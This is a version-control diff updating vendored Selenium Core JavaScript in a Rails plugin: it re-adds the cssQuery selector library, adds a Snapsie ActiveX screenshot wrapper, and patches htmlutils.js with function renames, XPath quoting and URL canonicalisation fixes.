-			$$from = ($useCache && cache[$cacheSelector]) ?
-				cache[$cacheSelector] : select($$from, $token, $filter, $arguments);
-			if ($useCache) cache[$cacheSelector] = $$from;
-		}
-		$match = $match.concat($$from);
-	}
-	delete cssQuery.error;
-	return $match;
-} catch ($error) {
-	cssQuery.error = $error;
-	return [];
-}};
-
-// -----------------------------------------------------------------------
-// public interface
-// -----------------------------------------------------------------------
-
-cssQuery.toString = function() {
-	return "function cssQuery() {\n  [version " + version + "]\n}";
-};
-
-// caching
-var cache = {};
-cssQuery.caching = false;
-cssQuery.clearCache = function($selector) {
-	if ($selector) {
-		$selector = _toStream($selector).join("");
-		delete cache[$selector];
-	} else cache = {};
-};
-
-// allow extensions
-var modules = {};
-var loaded = false;
-cssQuery.addModule = function($name, $script) {
-	if (loaded) eval("$script=" + String($script));
-	modules[$name] = new $script();;
-};
-
-// hackery
-cssQuery.valueOf = function($code) {
-	return $code ? eval($code) : this;
-};
-
-// -----------------------------------------------------------------------
-// declarations
-// -----------------------------------------------------------------------
-
-var selectors = {};
-var pseudoClasses = {};
-// a safari bug means that these have to be declared here
-var AttributeSelector = {match: /\[([\w-]+(\|[\w-]+)?)\s*(\W?=)?\s*([^\]]*)\]/};
-var attributeSelectors = [];
-
-// -----------------------------------------------------------------------
-// selectors
-// -----------------------------------------------------------------------
-
-// descendant selector
-selectors[" "] = function($results, $from, $tagName, $namespace) {
-	// loop through current selection
-	var $element, i, j;
-	for (i = 0; i < $from.length; i++) {
-		// get descendants
-		var $subset = getElementsByTagName($from[i], $tagName, $namespace);
-		// loop through descendants and add to results selection
-		for (j = 0; ($element = $subset[j]); j++) {
-			if (thisElement($element) && compareNamespace($element, $namespace))
-				$results.push($element);
-		}
-	}
-};
-
-// ID selector
-selectors["#"] = function($results, $from, $id) {
-	// loop through current selection and check ID
-	var $element, j;
-	for (j = 0; ($element = $from[j]); j++) if ($element.id == $id) $results.push($element);
-};
-
-// class selector
-selectors["."] = function($results, $from, $className) {
-	// create a RegExp version of the class
-	$className = new RegExp("(^|\\s)" + $className + "(\\s|$)");
-	// loop through current selection and check class
-	var $element, i;
-	for (i = 0; ($element = $from[i]); i++)
-		if ($className.test($element.className)) $results.push($element);
-};
-
-// pseudo-class selector
-selectors[":"] = function($results, $from, $pseudoClass, $arguments) {
-	// retrieve the cssQuery pseudo-class function
-	var $test = pseudoClasses[$pseudoClass], $element, i;
-	// loop through current selection and apply pseudo-class filter
-	if ($test) for (i = 0; ($element = $from[i]); i++)
-		// if the cssQuery pseudo-class function returns "true" add the element
-		if ($test($element, $arguments)) $results.push($element);
-};
-
-// -----------------------------------------------------------------------
-// pseudo-classes
-// -----------------------------------------------------------------------
-
-pseudoClasses["link"] = function($element) {
-	var $document = getDocument($element);
-	if ($document.links) for (var i = 0; i < $document.links.length; i++) {
-		if ($document.links[i] == $element) return true;
-	}
-};
-
-pseudoClasses["visited"] = function($element) {
-	// can't do this without jiggery-pokery
-};
-
-// -----------------------------------------------------------------------
-// DOM traversal
-// -----------------------------------------------------------------------
-
-// IE5/6 includes comments (LOL) in it's elements collections.
-// so we have to check for this. the test is tagName != "!". LOL (again).
-var thisElement = function($element) {
-	return ($element && $element.nodeType == 1 && $element.tagName != "!") ? $element : null;
-};
-
-// return the previous element to the supplied element
-//  previousSibling is not good enough as it might return a text or comment node
-var previousElementSibling = function($element) {
-	while ($element && ($element = $element.previousSibling) && !thisElement($element)) continue;
-	return $element;
-};
-
-// return the next element to the supplied element
-var nextElementSibling = function($element) {
-	while ($element && ($element = $element.nextSibling) && !thisElement($element)) continue;
-	return $element;
-};
-
-// return the first child ELEMENT of an element
-//  NOT the first child node (though they may be the same thing)
-var firstElementChild = function($element) {
-	return thisElement($element.firstChild) || nextElementSibling($element.firstChild);
-};
-
-var lastElementChild = function($element) {
-	return thisElement($element.lastChild) || previousElementSibling($element.lastChild);
-};
-
-// return child elements of an element (not child nodes)
-var childElements = function($element) {
-	var $childElements = [];
-	$element = firstElementChild($element);
-	while ($element) {
-		$childElements.push($element);
-		$element = nextElementSibling($element);
-	}
-	return $childElements;
-};
-
-// -----------------------------------------------------------------------
-// browser compatibility
-// -----------------------------------------------------------------------
-
-// all of the functions in this section can be overwritten. the default
-//  configuration is for IE. The functions below reflect this. standard
-//  methods are included in a separate module. It would probably be better
-//  the other way round of course but this makes it easier to keep IE7 trim.
-
-var isMSIE = true;
-
-var isXML = function($element) {
-	var $document = getDocument($element);
-	return (typeof $document.mimeType == "unknown") ?
-		/\.xml$/i.test($document.URL) :
-		Boolean($document.mimeType == "XML Document");
-};
-
-// return the element's containing document
-var getDocument = function($element) {
-	return $element.ownerDocument || $element.document;
-};
-
-var getElementsByTagName = function($element, $tagName) {
-	return ($tagName == "*" && $element.all) ? $element.all : $element.getElementsByTagName($tagName);
-};
-
-var compareTagName = function($element, $tagName, $namespace) {
-	if ($tagName == "*") return thisElement($element);
-	if (!compareNamespace($element, $namespace)) return false;
-	if (!isXML($element)) $tagName = $tagName.toUpperCase();
-	return $element.tagName == $tagName;
-};
-
-var compareNamespace = function($element, $namespace) {
-	return !$namespace || ($namespace == "*") || ($element.scopeName == $namespace);
-};
-
-var getTextContent = function($element) {
-	return $element.innerText;
-};
-
-function _msie_selectById($results, $from, id) {
-	var $match, i, j;
-	for (i = 0; i < $from.length; i++) {
-		if ($match = $from[i].all.item(id)) {
-			if ($match.id == id) $results.push($match);
-			else if ($match.length != null) {
-				for (j = 0; j < $match.length; j++) {
-					if ($match[j].id == id) $results.push($match[j]);
-				}
-			}
-		}
-	}
-	return $results;
-};
-
-// for IE5.0
-if (![].push) Array.prototype.push = function() {
-	for (var i = 0; i < arguments.length; i++) {
-		this[this.length] = arguments[i];
-	}
-	return this.length;
-};
-
-// -----------------------------------------------------------------------
-// query support
-// -----------------------------------------------------------------------
-
-// select a set of matching elements.
-// "from" is an array of elements.
-// "token" is a character representing the type of filter
-//  e.g. ">" means child selector
-// "filter" represents the tag name, id or class name that is being selected
-// the function returns an array of matching elements
-var $NAMESPACE = /\|/;
-function select($$from, $token, $filter, $arguments) {
-	if ($NAMESPACE.test($filter)) {
-		$filter = $filter.split($NAMESPACE);
-		$arguments = $filter[0];
-		$filter = $filter[1];
-	}
-	var $results = [];
-	if (selectors[$token]) {
-		selectors[$token]($results, $$from, $filter, $arguments);
-	}
-	return $results;
-};
-
-// -----------------------------------------------------------------------
-// parsing
-// -----------------------------------------------------------------------
-
-// convert css selectors to a stream of tokens and filters
-//  it's not a real stream. it's just an array of strings.
-var $STANDARD_SELECT = /^[^\s>+~]/;
-var $$STREAM = /[\s#.:>+~()@]|[^\s#.:>+~()@]+/g;
-function _toStream($selector) {
-	if ($STANDARD_SELECT.test($selector)) $selector = " " + $selector;
-	return $selector.match($$STREAM) || [];
-};
-
-var $WHITESPACE = /\s*([\s>+~(),]|^|$)\s*/g;
-var $IMPLIED_ALL = /([\s>+~,]|[^(]\+|^)([#.:@])/g;
-var parseSelector = function($selector) {
-	return $selector
-	// trim whitespace
-	.replace($WHITESPACE, "$1")
-	// e.g. ".class1" --> "*.class1"
-	.replace($IMPLIED_ALL, "$1*$2");
-};
-
-var Quote = {
-	toString: function() {return "'"},
-	match: /^('[^']*')|("[^"]*")$/,
-	test: function($string) {
-		return this.match.test($string);
-	},
-	add: function($string) {
-		return this.test($string) ? $string : this + $string + this;
-	},
-	remove: function($string) {
-		return this.test($string) ? $string.slice(1, -1) : $string;
-	}
-};
-
-var getText = function($text) {
-	return Quote.remove($text);
-};
-
-var $ESCAPE = /([\/()[\]?{}|*+-])/g;
-function regEscape($string) {
-	return $string.replace($ESCAPE, "\\$1");
-};
-
-// -----------------------------------------------------------------------
-// modules
-// -----------------------------------------------------------------------
-
-// -------- >>      insert modules here for packaging       << -------- \\
-
-loaded = true;
-
-// -----------------------------------------------------------------------
-// return the query function
-// -----------------------------------------------------------------------
-
-return cssQuery;
-
-}(); // cssQuery
+/*
+	cssQuery, version 2.0.2 (2005-08-19)
+	Copyright: 2004-2005, Dean Edwards (http://dean.edwards.name/)
+	License: http://creativecommons.org/licenses/LGPL/2.1/
+*/
+
+// the following functions allow querying of the DOM using CSS selectors
+var cssQuery = function() {
+var version = "2.0.2";
+
+// -----------------------------------------------------------------------
+// main query function
+// -----------------------------------------------------------------------
+
+var $COMMA = /\s*,\s*/;
+var cssQuery = function($selector, $$from) {
+try {
+	var $match = [];
+	var $useCache = arguments.callee.caching && !$$from;
+	var $base = ($$from) ? ($$from.constructor == Array) ? $$from : [$$from] : [document];
+	// process comma separated selectors
+	var $$selectors = parseSelector($selector).split($COMMA), i;
+	for (i = 0; i < $$selectors.length; i++) {
+		// convert the selector to a stream
+		$selector = _toStream($$selectors[i]);
+		// faster chop if it starts with id (MSIE only)
+		if (isMSIE && $selector.slice(0, 3).join("") == " *#") {
+			$selector = $selector.slice(2);
+			$$from = _msie_selectById([], $base, $selector[1]);
+		} else $$from = $base;
+		// process the stream
+		var j = 0, $token, $filter, $arguments, $cacheSelector = "";
+		while (j < $selector.length) {
+			$token = $selector[j++];
+			$filter = $selector[j++];
+			$cacheSelector += $token + $filter;
+			// some pseudo-classes allow arguments to be passed
+			//  e.g. nth-child(even)
+			$arguments = "";
+			if ($selector[j] == "(") {
+				while ($selector[j++] != ")" && j < $selector.length) {
+					$arguments += $selector[j];
+				}
+				$arguments = $arguments.slice(0, -1);
+				$cacheSelector += "(" + $arguments + ")";
+			}
+			// process a token/filter pair use cached results if possible
+			$$from = ($useCache && cache[$cacheSelector]) ?
+				cache[$cacheSelector] : select($$from, $token, $filter, $arguments);
+			if ($useCache) cache[$cacheSelector] = $$from;
+		}
+		$match = $match.concat($$from);
+	}
+	delete cssQuery.error;
+	return $match;
+} catch ($error) {
+	cssQuery.error = $error;
+	return [];
+}};
+
+// -----------------------------------------------------------------------
+// public interface
+// -----------------------------------------------------------------------
+
+cssQuery.toString = function() {
+	return "function cssQuery() {\n  [version " + version + "]\n}";
+};
+
+// caching
+var cache = {};
+cssQuery.caching = false;
+cssQuery.clearCache = function($selector) {
+	if ($selector) {
+		$selector = _toStream($selector).join("");
+		delete cache[$selector];
+	} else cache = {};
+};
+
+// allow extensions
+var modules = {};
+var loaded = false;
+cssQuery.addModule = function($name, $script) {
+	if (loaded) eval("$script=" + String($script));
+	modules[$name] = new $script();;
+};
+
+// hackery
+cssQuery.valueOf = function($code) {
+	return $code ? eval($code) : this;
+};
+
+// -----------------------------------------------------------------------
+// declarations
+// -----------------------------------------------------------------------
+
+var selectors = {};
+var pseudoClasses = {};
+// a safari bug means that these have to be declared here
+var AttributeSelector = {match: /\[([\w-]+(\|[\w-]+)?)\s*(\W?=)?\s*([^\]]*)\]/};
+var attributeSelectors = [];
+
+// -----------------------------------------------------------------------
+// selectors
+// -----------------------------------------------------------------------
+
+// descendant selector
+selectors[" "] = function($results, $from, $tagName, $namespace) {
+	// loop through current selection
+	var $element, i, j;
+	for (i = 0; i < $from.length; i++) {
+		// get descendants
+		var $subset = getElementsByTagName($from[i], $tagName, $namespace);
+		// loop through descendants and add to results selection
+		for (j = 0; ($element = $subset[j]); j++) {
+			if (thisElement($element) && compareNamespace($element, $namespace))
+				$results.push($element);
+		}
+	}
+};
+
+// ID selector
+selectors["#"] = function($results, $from, $id) {
+	// loop through current selection and check ID
+	var $element, j;
+	for (j = 0; ($element = $from[j]); j++) if ($element.id == $id) $results.push($element);
+};
+
+// class selector
+selectors["."] = function($results, $from, $className) {
+	// create a RegExp version of the class
+	$className = new RegExp("(^|\\s)" + $className + "(\\s|$)");
+	// loop through current selection and check class
+	var $element, i;
+	for (i = 0; ($element = $from[i]); i++)
+		if ($className.test($element.className)) $results.push($element);
+};
+
+// pseudo-class selector
+selectors[":"] = function($results, $from, $pseudoClass, $arguments) {
+	// retrieve the cssQuery pseudo-class function
+	var $test = pseudoClasses[$pseudoClass], $element, i;
+	// loop through current selection and apply pseudo-class filter
+	if ($test) for (i = 0; ($element = $from[i]); i++)
+		// if the cssQuery pseudo-class function returns "true" add the element
+		if ($test($element, $arguments)) $results.push($element);
+};
+
+// -----------------------------------------------------------------------
+// pseudo-classes
+// -----------------------------------------------------------------------
+
+pseudoClasses["link"] = function($element) {
+	var $document = getDocument($element);
+	if ($document.links) for (var i = 0; i < $document.links.length; i++) {
+		if ($document.links[i] == $element) return true;
+	}
+};
+
+pseudoClasses["visited"] = function($element) {
+	// can't do this without jiggery-pokery
+};
+
+// -----------------------------------------------------------------------
+// DOM traversal
+// -----------------------------------------------------------------------
+
+// IE5/6 includes comments (LOL) in it's elements collections.
+// so we have to check for this. the test is tagName != "!". LOL (again).
+var thisElement = function($element) {
+	return ($element && $element.nodeType == 1 && $element.tagName != "!") ? $element : null;
+};
+
+// return the previous element to the supplied element
+//  previousSibling is not good enough as it might return a text or comment node
+var previousElementSibling = function($element) {
+	while ($element && ($element = $element.previousSibling) && !thisElement($element)) continue;
+	return $element;
+};
+
+// return the next element to the supplied element
+var nextElementSibling = function($element) {
+	while ($element && ($element = $element.nextSibling) && !thisElement($element)) continue;
+	return $element;
+};
+
+// return the first child ELEMENT of an element
+//  NOT the first child node (though they may be the same thing)
+var firstElementChild = function($element) {
+	return thisElement($element.firstChild) || nextElementSibling($element.firstChild);
+};
+
+var lastElementChild = function($element) {
+	return thisElement($element.lastChild) || previousElementSibling($element.lastChild);
+};
+
+// return child elements of an element (not child nodes)
+var childElements = function($element) {
+	var $childElements = [];
+	$element = firstElementChild($element);
+	while ($element) {
+		$childElements.push($element);
+		$element = nextElementSibling($element);
+	}
+	return $childElements;
+};
+
+// -----------------------------------------------------------------------
+// browser compatibility
+// -----------------------------------------------------------------------
+
+// all of the functions in this section can be overwritten. the default
+//  configuration is for IE. The functions below reflect this. standard
+//  methods are included in a separate module. It would probably be better
+//  the other way round of course but this makes it easier to keep IE7 trim.
+
+var isMSIE = true;
+
+var isXML = function($element) {
+	var $document = getDocument($element);
+	return (typeof $document.mimeType == "unknown") ?
+		/\.xml$/i.test($document.URL) :
+		Boolean($document.mimeType == "XML Document");
+};
+
+// return the element's containing document
+var getDocument = function($element) {
+	return $element.ownerDocument || $element.document;
+};
+
+var getElementsByTagName = function($element, $tagName) {
+	return ($tagName == "*" && $element.all) ? $element.all : $element.getElementsByTagName($tagName);
+};
+
+var compareTagName = function($element, $tagName, $namespace) {
+	if ($tagName == "*") return thisElement($element);
+	if (!compareNamespace($element, $namespace)) return false;
+	if (!isXML($element)) $tagName = $tagName.toUpperCase();
+	return $element.tagName == $tagName;
+};
+
+var compareNamespace = function($element, $namespace) {
+	return !$namespace || ($namespace == "*") || ($element.scopeName == $namespace);
+};
+
+var getTextContent = function($element) {
+	return $element.innerText;
+};
+
+function _msie_selectById($results, $from, id) {
+	var $match, i, j;
+	for (i = 0; i < $from.length; i++) {
+		if ($match = $from[i].all.item(id)) {
+			if ($match.id == id) $results.push($match);
+			else if ($match.length != null) {
+				for (j = 0; j < $match.length; j++) {
+					if ($match[j].id == id) $results.push($match[j]);
+				}
+			}
+		}
+	}
+	return $results;
+};
+
+// for IE5.0
+if (![].push) Array.prototype.push = function() {
+	for (var i = 0; i < arguments.length; i++) {
+		this[this.length] = arguments[i];
+	}
+	return this.length;
+};
+
+// -----------------------------------------------------------------------
+// query support
+// -----------------------------------------------------------------------
+
+// select a set of matching elements.
+// "from" is an array of elements.
+// "token" is a character representing the type of filter
+//  e.g. ">" means child selector
+// "filter" represents the tag name, id or class name that is being selected
+// the function returns an array of matching elements
+var $NAMESPACE = /\|/;
+function select($$from, $token, $filter, $arguments) {
+	if ($NAMESPACE.test($filter)) {
+		$filter = $filter.split($NAMESPACE);
+		$arguments = $filter[0];
+		$filter = $filter[1];
+	}
+	var $results = [];
+	if (selectors[$token]) {
+		selectors[$token]($results, $$from, $filter, $arguments);
+	}
+	return $results;
+};
+
+// -----------------------------------------------------------------------
+// parsing
+// -----------------------------------------------------------------------
+
+// convert css selectors to a stream of tokens and filters
+//  it's not a real stream. it's just an array of strings.
+var $STANDARD_SELECT = /^[^\s>+~]/;
+var $$STREAM = /[\s#.:>+~()@]|[^\s#.:>+~()@]+/g;
+function _toStream($selector) {
+	if ($STANDARD_SELECT.test($selector)) $selector = " " + $selector;
+	return $selector.match($$STREAM) || [];
+};
+
+var $WHITESPACE = /\s*([\s>+~(),]|^|$)\s*/g;
+var $IMPLIED_ALL = /([\s>+~,]|[^(]\+|^)([#.:@])/g;
+var parseSelector = function($selector) {
+	return $selector
+	// trim whitespace
+	.replace($WHITESPACE, "$1")
+	// e.g. ".class1" --> "*.class1"
+	.replace($IMPLIED_ALL, "$1*$2");
+};
+
+var Quote = {
+	toString: function() {return "'"},
+	match: /^('[^']*')|("[^"]*")$/,
+	test: function($string) {
+		return this.match.test($string);
+	},
+	add: function($string) {
+		return this.test($string) ? $string : this + $string + this;
+	},
+	remove: function($string) {
+		return this.test($string) ? $string.slice(1, -1) : $string;
+	}
+};
+
+var getText = function($text) {
+	return Quote.remove($text);
+};
+
+var $ESCAPE = /([\/()[\]?{}|*+-])/g;
+function regEscape($string) {
+	return $string.replace($ESCAPE, "\\$1");
+};
+
+// -----------------------------------------------------------------------
+// modules
+// -----------------------------------------------------------------------
+
+// -------- >>      insert modules here for packaging       << -------- \\
+
+loaded = true;
+
+// -----------------------------------------------------------------------
+// return the query function
+// -----------------------------------------------------------------------
+
+return cssQuery;
+
+}(); // cssQuery
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/prototype.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/prototype.js
index 0caf9cd7..4453c4f5 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/lib/prototype.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/prototype.js
@@ -1339,8 +1339,8 @@ Selector.prototype = {
   },
 
   compileMatcher: function() {
-    this.match = new Function('element', 'if (!element.tagName) return false; \
-      return ' + this.buildMatchExpression());
+    this.match = new Function('element', 'if (!element.tagName) return false; \n' +
+    'return ' + this.buildMatchExpression());
   },
 
   findElements: function(scope) {
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/lib/snapsie.js b/vendor/plugins/selenium-on-rails/selenium-core/lib/snapsie.js
new file mode 100644
index 00000000..23503792
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/selenium-core/lib/snapsie.js
@@ -0,0 +1,91 @@
+/**
+ * This file wraps the Snapsie ActiveX object, exposing a single saveSnapshot()
+ * method on a the object.
+ *
+ * See http://snapsie.sourceforge.net/
+ */
+
+function Snapsie() {
+    // private methods
+    
+    function isQuirksMode(inDocument) {
+        return (inDocument.compatMode == 'BackCompat');
+    }
+    
+    function getDrawableElement(inDocument) {
+        if (isQuirksMode(inDocument)) {
+            var body = inDocument.getElementsByTagName('body')[0];
+            return body;
+        }
+        else {
+            // standards mode
+            return inDocument.documentElement;
+        }
+    }
+    
+    /**
+     * Returns the canonical Windows path for a given path. This means
+     * basically replacing any forwards slashes with backslashes.
+     *
+     * @param path  the path whose canonical form to return
+     */
+    function getCanonicalPath(path) {
+        path = path.replace(/\//g, '\\');
+        path = path.replace(/\\\\/g, '\\');
+        return path;
+    }
+
+    // public methods
+    
+    /**
+     * Saves a screenshot of the current document to a file. If frameId is
+     * specified, a screenshot of just the frame is captured instead.
+     *
+     * @param outputFile  the file to which to save the screenshot
+     * @param frameId     the frame to capture; omit to capture entire document
+     */
+    this.saveSnapshot = function(outputFile, frameId) {
+        var drawableElement = getDrawableElement(document);
+        var drawableInfo = {
+              overflow  : drawableElement.style.overflow
+            , scrollLeft: drawableElement.scrollLeft
+            , scrollTop : drawableElement.scrollTop
+        };
+        drawableElement.style.overflow = 'hidden';
+        
+        var capturableDocument;
+        var frameBCR = { left: 0, top: 0 };
+        if (!frameId) {
+            capturableDocument = document;
+        }
+        else {
+            var frame = document.getElementById(frameId);
+            capturableDocument = frame.document;
+            
+            // scroll as much of the frame into view as possible
+            frameBCR = frame.getBoundingClientRect();
+            window.scroll(frameBCR.left, frameBCR.top);
+            frameBCR = frame.getBoundingClientRect();
+        }
+        
+        var nativeObj = new ActiveXObject('Snapsie.CoSnapsie');
+        nativeObj.saveSnapshot(
+            getCanonicalPath(outputFile),
+            frameId,
+            drawableElement.scrollWidth,
+            drawableElement.scrollHeight,
+            drawableElement.clientWidth,
+            drawableElement.clientHeight,
+            drawableElement.clientLeft,
+            drawableElement.clientTop,
+            frameBCR.left,
+            frameBCR.top
+        );
+        
+        // revert
+        
+        drawableElement.style.overflow = drawableInfo.overflow;
+        drawableElement.scrollLeft = drawableInfo.scrollLeft;
+        drawableElement.scrollTop = drawableInfo.scrollTop;
+    }
+};
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/find_matching_child.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/find_matching_child.js
index fbf35b75..e18a089b 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/find_matching_child.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/find_matching_child.js
@@ -1,69 +1,69 @@
-/*
- * Copyright 2004 ThoughtWorks, Inc
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-elementFindMatchingChildren = function(element, selector) {
-  var matches = [];
-
-  var childCount = element.childNodes.length;
-  for (var i=0; i<childCount; i++) {
-    var child = element.childNodes[i];
-    if (selector(child)) {
-      matches.push(child);
-    } else {
-      childMatches = elementFindMatchingChildren(child, selector);
-      matches.push(childMatches);
-    }
-  }
-
-  return matches.flatten();
-}
-
-ELEMENT_NODE_TYPE = 1;
-
-elementFindFirstMatchingChild = function(element, selector) {
-
-  var childCount = element.childNodes.length;
-  for (var i=0; i<childCount; i++) {
-    var child = element.childNodes[i];
-    if (child.nodeType == ELEMENT_NODE_TYPE) {
-      if (selector(child)) {
-        return child;
-      }
-      result = elementFindFirstMatchingChild(child, selector);
-      if (result) {
-        return result;
-      }
-    }
-  }
-  return null;
-}
-
-elementFindFirstMatchingParent = function(element, selector) {
-  var current = element.parentNode;
-  while (current != null) {
-    if (selector(current)) {
-      break;
-    }
-    current = current.parentNode;
-  }
-  return current;
-}
-
-elementFindMatchingChildById = function(element, id) {
-  return elementFindFirstMatchingChild(element, function(element){return element.id==id} );
-}
-
+/*
+ * Copyright 2004 ThoughtWorks, Inc
+ *
+ *  Licensed under the Apache License, Version 2.0 (the "License");
+ *  you may not use this file except in compliance with the License.
+ *  You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ *  Unless required by applicable law or agreed to in writing, software
+ *  distributed under the License is distributed on an "AS IS" BASIS,
+ *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ *  See the License for the specific language governing permissions and
+ *  limitations under the License.
+ *
+ */
+
+elementFindMatchingChildren = function(element, selector) {
+  var matches = [];
+
+  var childCount = element.childNodes.length;
+  for (var i=0; i<childCount; i++) {
+    var child = element.childNodes[i];
+    if (selector(child)) {
+      matches.push(child);
+    } else {
+      childMatches = elementFindMatchingChildren(child, selector);
+      matches.push(childMatches);
+    }
+  }
+
+  return matches.flatten();
+}
+
+ELEMENT_NODE_TYPE = 1;
+
+elementFindFirstMatchingChild = function(element, selector) {
+
+  var childCount = element.childNodes.length;
+  for (var i=0; i<childCount; i++) {
+    var child = element.childNodes[i];
+    if (child.nodeType == ELEMENT_NODE_TYPE) {
+      if (selector(child)) {
+        return child;
+      }
+      result = elementFindFirstMatchingChild(child, selector);
+      if (result) {
+        return result;
+      }
+    }
+  }
+  return null;
+}
+
+elementFindFirstMatchingParent = function(element, selector) {
+  var current = element.parentNode;
+  while (current != null) {
+    if (selector(current)) {
+      break;
+    }
+    current = current.parentNode;
+  }
+  return current;
+}
+
+elementFindMatchingChildById = function(element, id) {
+  return elementFindFirstMatchingChild(element, function(element){return element.id==id} );
+}
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/scripts/htmlutils.js b/vendor/plugins/selenium-on-rails/selenium-core/scripts/htmlutils.js
index a3cd3dd9..5722de99 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/scripts/htmlutils.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/scripts/htmlutils.js
@@ -31,7 +31,7 @@ function objectExtend(destination, source) {
   return destination;
 }
 
-function $() {
+function sel$() {
   var results = [], element;
   for (var i = 0; i < arguments.length; i++) {
     element = arguments[i];
@@ -42,7 +42,7 @@ function $() {
   return results.length < 2 ? results[0] : results;
 }
 
-function $A(iterable) {
+function sel$A(iterable) {
   if (!iterable) return [];
   if (iterable.toArray) {
     return iterable.toArray();
@@ -55,9 +55,9 @@ function $A(iterable) {
 }
 
 function fnBind() {
-  var args = $A(arguments), __method = args.shift(), object = args.shift();
+  var args = sel$A(arguments), __method = args.shift(), object = args.shift();
   var retval = function() {
-    return __method.apply(object, args.concat($A(arguments)));
+    return __method.apply(object, args.concat(sel$A(arguments)));
   }
   retval.__method = __method;
   return retval;
@@ -121,6 +121,46 @@ String.prototype.startsWith = function(str) {
     return this.indexOf(str) == 0;
 };
 
+/**
+ * Given a string literal that would appear in an XPath, puts it in quotes and
+ * returns it. Special consideration is given to literals who themselves
+ * contain quotes. It's possible for a concat() expression to be returned.
+ */
+String.prototype.quoteForXPath = function()
+{
+    if (/\'/.test(this)) {
+        if (/\"/.test(this)) {
+            // concat scenario
+            var pieces = [];
+            var a = "'", b = '"', c;
+            for (var i = 0, j = 0; i < this.length;) {
+                if (this.charAt(i) == a) {
+                    // encountered a quote that cannot be contained in current
+                    // quote, so need to flip-flop quoting scheme
+                    if (j < i) {
+                        pieces.push(a + this.substring(j, i) + a);
+                        j = i;
+                    }
+                    c = a;
+                    a = b;
+                    b = c;
+                }
+                else {
+                    ++i;
+                }
+            }
+            pieces.push(a + this.substring(j) + a);
+            return 'concat(' + pieces.join(', ') + ')';
+        }
+        else {
+            // quote with doubles
+            return '"' + this + '"';
+        }
+    }
+    // quote with singles
+    return "'" + this + "'";
+};
+
 // Returns the text in this element
 function getText(element) {
     var text = "";
@@ -171,7 +211,7 @@ function getTextContent(element, preformatted) {
 }
 
 /**
- * Convert all newlines to \m
+ * Convert all newlines to \n
  */
 function normalizeNewlines(text)
 {
@@ -246,7 +286,7 @@ function getInputValue(inputElement) {
 /* Fire an event in a browser-compatible manner */
 function triggerEvent(element, eventType, canBubble, controlKeyDown, altKeyDown, shiftKeyDown, metaKeyDown) {
     canBubble = (typeof(canBubble) == undefined) ? true : canBubble;
-    if (element.fireEvent) {
+    if (element.fireEvent && element.ownerDocument && element.ownerDocument.createEventObject) { // IE
         var evt = createEventObject(element, controlKeyDown, altKeyDown, shiftKeyDown, metaKeyDown);        
         element.fireEvent('on' + eventType, evt);
     }
@@ -299,7 +339,7 @@ function createEventObject(element, controlKeyDown, altKeyDown, shiftKeyDown, me
 function triggerKeyEvent(element, eventType, keySequence, canBubble, controlKeyDown, altKeyDown, shiftKeyDown, metaKeyDown) {
     var keycode = getKeyCodeFromKeySequence(keySequence);
     canBubble = (typeof(canBubble) == undefined) ? true : canBubble;
-    if (element.fireEvent) {
+    if (element.fireEvent && element.ownerDocument && element.ownerDocument.createEventObject) { // IE
         var keyEvent = createEventObject(element, controlKeyDown, altKeyDown, shiftKeyDown, metaKeyDown);
         keyEvent.keyCode = keycode;
         element.fireEvent('on' + eventType, keyEvent);
@@ -327,7 +367,7 @@ function triggerKeyEvent(element, eventType, keySequence, canBubble, controlKeyD
 }
 
 function removeLoadListener(element, command) {
-    LOG.info('Removing loadListenter for ' + element + ', ' + command);
+    LOG.debug('Removing loadListenter for ' + element + ', ' + command);
     if (window.removeEventListener)
         element.removeEventListener("load", command, true);
     else if (window.detachEvent)
@@ -335,7 +375,7 @@ function removeLoadListener(element, command) {
 }
 
 function addLoadListener(element, command) {
-    LOG.info('Adding loadListenter for ' + element + ', ' + command);
+    LOG.debug('Adding loadListenter for ' + element + ', ' + command);
     var augmentedCommand = function() {
         command.call(this, element);
     }
@@ -373,6 +413,25 @@ function getTagName(element) {
     return tagName;
 }
 
+function selArrayToString(a) {
+    if (isArray(a)) {
+        // DGF copying the array, because the array-like object may be a non-modifiable nodelist
+        var retval = [];
+        for (var i = 0; i < a.length; i++) {
+            var item = a[i];
+            var replaced = new String(item).replace(/([,\\])/g, '\\$1');
+            retval[i] = replaced;
+        }
+        return retval;
+    }
+    return new String(a);
+}
+
+
+function isArray(x) {
+    return ((typeof x) == "object") && (x["length"] != null);
+}
+
 function absolutify(url, baseUrl) {
     /** returns a relative url in its absolute form, given by baseUrl.
     * 
@@ -499,9 +558,30 @@ function reassembleLocation(loc) {
 }
 
 function canonicalize(url) {
+    if(url == "about:blank")
+    {
+	return url;
+    }
     var tempLink = window.document.createElement("link");
-    tempLink.href = url; // this will canonicalize the href
-    return tempLink.href;
+    tempLink.href = url; // this will canonicalize the href on most browsers
+    var loc = parseUrl(tempLink.href)
+    if (!/\/\.\.\//.test(loc.pathname)) {
+    	return tempLink.href;
+    }
+  	// didn't work... let's try it the hard way
+  	var originalParts = loc.pathname.split("/");
+  	var newParts = [];
+  	newParts.push(originalParts.shift());
+  	for (var i = 0; i < originalParts.length; i++) {
+  		var part = originalParts[i];
+  		if (".." == part) {
+  			newParts.pop();
+  			continue;
+  		}
+  		newParts.push(part);
+  	}
+  	loc.pathname = newParts.join("/");
+    return reassembleLocation(loc);
 }
